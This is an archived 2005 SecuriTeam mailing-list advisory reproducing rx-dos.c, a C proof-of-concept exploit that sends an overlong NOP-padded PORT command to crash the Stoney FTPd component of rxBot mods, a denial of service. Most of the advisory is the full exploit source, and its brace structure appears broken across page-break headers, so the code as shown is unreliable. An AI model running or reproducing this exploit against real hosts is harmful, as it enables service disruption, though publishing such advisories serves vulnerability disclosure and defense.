

# [EXPL] Stoney FTPd Buffer Overflow (PORT, Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0074.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/19/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 19 Sep 2005 10:31:22 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Stoney FTPd Buffer Overflow (PORT, Exploit)

---

## SUMMARY

Stoney FTPd is "FTP daemon, comes as part of rxBot mod". A buffer overflow vulnerability exists in Stoney's FTPd, due to the way the program handles PORT commands.

## DETAILS

Exploit:

/\*

rx-dos.c by D-oNe

There exists a buffer overflow in Stoney's FTPd that most rxBot mod's use.

The problem lies in how the code parses the PORT command and gives an opportunity for a buffer overflow.

Problem is that the ftpd also uses select() to handle multiple connections. So when sending the crafted PORT command select() returns NULL making it

## Securiteam: [EXPL] Stoney FTPd Buffer Overflow (PORT, Exploit)

return and exit the

FTPd thread resulting merely in a Denial Of Service of the FTPd with no crash of the bot itself.

Tested with "rxBot reptile 0.37".

\*/

```
#pragma comment(lib, "ws2_32")
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
```

```
unsigned char user[] =
    "\x55\x53\x45\x52\x20\x31";
```

```
unsigned char pass[] =
    "\x50\x41\x53\x53\x20\x31";
```

```
unsigned char overflow[] =
    "\x50\x4F\x52\x54\x20"
    "\x31\x2C\x31\x2C\x31\x2C\x31\x2C\x31\x2C\x31"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90";
```

```
int main(int argc, char *argv[])
{
    char szBuffer[128];
    struct sockaddr_in sin;
    SOCKET sock;
    WSADATA wsadata;
    printf("\nrxBot Stoney FTPd Denial Of Service Exploit by
D-oNe\n\n");
    if (argc < 3)
    {
        printf("usage: %s <ip> <port>\n", argv[0]);
        printf("[+] Exiting...\n");
    }
}
```

## Securiteam: [EXPL] Stoney FTPd Buffer Overflow (PORT, Exploit)

```
    return 0;
}
if (WSAStartup(0x0202, &wsadata) != 0)
{
    printf("[ - ] WSAStartup() failed!\n");
    return 0;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(atoi(argv[2]));
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == SOCKET_ERROR)
{
    printf("[ - ] socket() failed!\n");
    return 0;
}
printf("[ + ] Connecting...\n");
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) ==
SOCKET_ERROR)
{
    printf("[ - ] connect() failed!\n");
    return 0;
}
recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
if ((szBuffer[0] != '2') && (szBuffer[1] != '2') && (szBuffer[2] !=
'0'))
{
    printf("[ - ] Wrong string received!\n");
    return 0;
}
printf("[ + ] Sending USER...\n");
if (!send(sock, user, sizeof(user), 0))
{
    printf("[ - ] send() failed!\n");
    return 0;
}
recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
if ((szBuffer[0] != '3') && (szBuffer[1] != '3') && (szBuffer[2] !=
'1'))
{
    printf("[ - ] Wrong string received!\n");
    return 0;
}
printf("[ + ] Sending PASS...\n");
if (!send(sock, pass, sizeof(pass), 0))
{
    printf("[ - ] send() failed!\n");
    return 0;
}
recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
if ((szBuffer[0] != '2') && (szBuffer[1] != '3') && (szBuffer[2] !=
```

## Securiteam: [EXPL] Stoney FTPd Buffer Overflow (PORT, Exploit)

```
'0'))
{
    printf("[+] Wrong string received!\n");
    return 0;
}
printf("[+] Sending malicious PORT command...\n");
if (!send(sock, overflow, sizeof(overflow), 0))
{
    printf("[+] send() failed!\n");
    return 0;
}
memset(szBuffer, 0, sizeof(szBuffer));
recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
szBuffer[strlen(szBuffer) - 1] = '\0';
printf("[+] Recvd: %s\n", szBuffer);
closesocket(sock);
WSACleanup();
printf("[+] FTPd should be out of service!\n", szBuffer);
return 0;
}
```

### ADDITIONAL INFORMATION

The original article can be found at:

<<http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=4918>>  
<http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=4918>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.